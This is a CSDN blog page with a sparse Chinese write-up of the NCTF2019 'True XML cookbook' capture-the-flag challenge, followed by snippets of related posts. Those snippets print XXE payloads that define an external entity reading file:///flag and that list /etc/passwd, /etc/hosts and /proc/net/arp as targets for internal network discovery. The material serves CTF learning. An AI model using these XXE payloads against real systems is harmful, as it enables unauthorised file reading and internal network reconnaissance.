[NCTF2019]True XML cookbook

于 2022-04-21 20:17:10 发布
阅读量1.4k 收藏
点赞数
文章标签： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_62805300/article/details/124329625
版权
博主在文中分享了在Linux环境中，通过proc文件系统获取系统信息时遇到的问题。原先的方法不再适用，于是尝试了多种指令以获取正确的IP地址，包括对目标进行‘爆破’。经过一系列尝试，最终找到了有效的方法。
摘要由CSDN通过智能技术生成

之前的方法不行了

linux中proc信息获取

原文

 

 访问报错实施爆破

弄不出来ip应该不对

试试其他指令

 

再换一个

 

爆破新目标

 

 nice

R0ck3t
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
[NCTF2019]True XML cookbook 1(XML)
weixin_45577185的博客
10-20 358
总结一下知识点： 抓包，插入恶意XML外部实体 /etc/hosts 储存域名解析的缓存 /etc/passwd 用户密码 /proc/net/arp 每个网络接口的arp表中dev包 直接用下面的代码读取flag会报错 <?xml version="1.0" ?> <!DOCTYPE note [ <!ENTITY M1kael SYSTEM "file:///flag"> ]> <user> <username>&M1kael;&lt
【学习笔记 46】 buu [NCTF2019]Fake XML cookbook
weixin_43553654的博客
08-03 369
0x00 知识点 XXE攻击 0x01 知识点详解 什么是XXE攻击？ 答： XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞，XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件，造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置，没有对上传的xml文件进行过滤，导致可上传恶意xml文件。 这里有一篇大佬的博客可以学习学习 0x02 解题思路
[ctf web]XXE通过DTD读取文件+XML和DTD基础语法（以[ctfshow]web_ak4观心和[NCTF2019]Fake XML cookbook为例）
ShenZ的博客
08-23 704
XML基础 XML文件可以分为三部分： XML声明 <?xml version ="1.0" encoding="UTF-8"?> DTD文档定义类型。 文档元素 <foo><note category="COOKING"></note></foo> 根元素foo，子元素note，属性category XML语法 XML被设计为传输和存储数据 基本语法： - 所有 XML 元素都须有关闭标签。 - XML 标签对大小写敏感。 - X
[NCTF2019]Sore
2er0!=O的博客
08-01 885
[NCTF2019]Sore 附件： ciphertext.txt： nsfAIHFrMuLynuCApeEstxJOzniQuyBVfAChDEznppfAiEIDcyNFBsCjsLvGlDtqztuaHvHbCmuyGNsIMhGlDtbotCoDzDjhyBzHGfHGfoHsuhlssIMvwlixBHHGfDRjoCKrapNIwqNyuxIBACQhtMwCmMCfEBpsrzEuiLGBoMipTkxrznoHfAkqwzvxuzCzDbLyApCGvjpqxkuwpgsLrqsVfCRw
NO.2-32 [NCTF2019]True XML cookbook
nigo134的博客
08-03 250
抓包一看就知道可能是xxe漏洞，拿个exp直接发过去看看效果。 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE a [ <!ENTITY exp SYSTEM "file:///flag"> ]> <user><username>&exp;</username><password>aaaa</password></user> .
[NCTF2019]True XML cookbook 1
qq_53460654的博客
05-30 754
之前写了个fake 这次又来个ture 打开环境 明确是xxe 直接抓包 回显位还是1 试试直接读flag <?xml version="1.0" ?> <!DOCTYPE note [ <!ENTITY M1kael SYSTEM "file:///flag"> ]> <user> <username>&M1kael;</username> <password>123456</password> &
[NCTF2019]True XML cookbook(xxe技巧)
EC_Carrot的博客
12-21 585
前言 文章所涉及的资料来自互联网整理和个人总结，意在于个人学习和经验汇总，如有什么地方侵权，请联系本人删除，谢谢！本文仅用于学习与交流，不得用于非法用途！ 题目 进到去跟fack那个题目差不多，直接用那里的payload看看 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE a [ <!ENTITY abc SYSTEM "file:///flag"> ]> <user><username>&am
2020/7/07 - [NCTF2019]True XML cookbook - xxe
抒情诗
07-08 695
我准备发两份，一份发到这里,另一份发到CSDN上面，这里的内容浏览器不好搜到，别人看不到，无趣 第二道xxe类型的题了。Content-Type: application/xml;charset=utf-8看看这熟悉的内容，好吧，第一道payload为 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE user [ <!ENTITY xxe SYSTEM "./flag.txt"> ]> <user><
[NCTF2019]True XML cookbook 记录
SopRomeo的博客
07-21 1878
提交抓包发现是xxe 先拿XXE漏洞poc读/flag <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE hack [ <!ENTITY file SYSTEM "file:///flag"> ]> <user> <username>&file;</username> <password>hack</password> </user&g.
[NCTF2019]SQLi
最新发布
07-28
\[NCTF2019\]SQLi是一个CTF比赛中的题目，涉及到SQL注入。根据引用\[1\]和引用\[2\]的内容，可以得知在该题目中，通过构造特定的SQL语句，可以绕过过滤，获取到管理员的密码，从而获得flag。具体的解题思路是通过...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值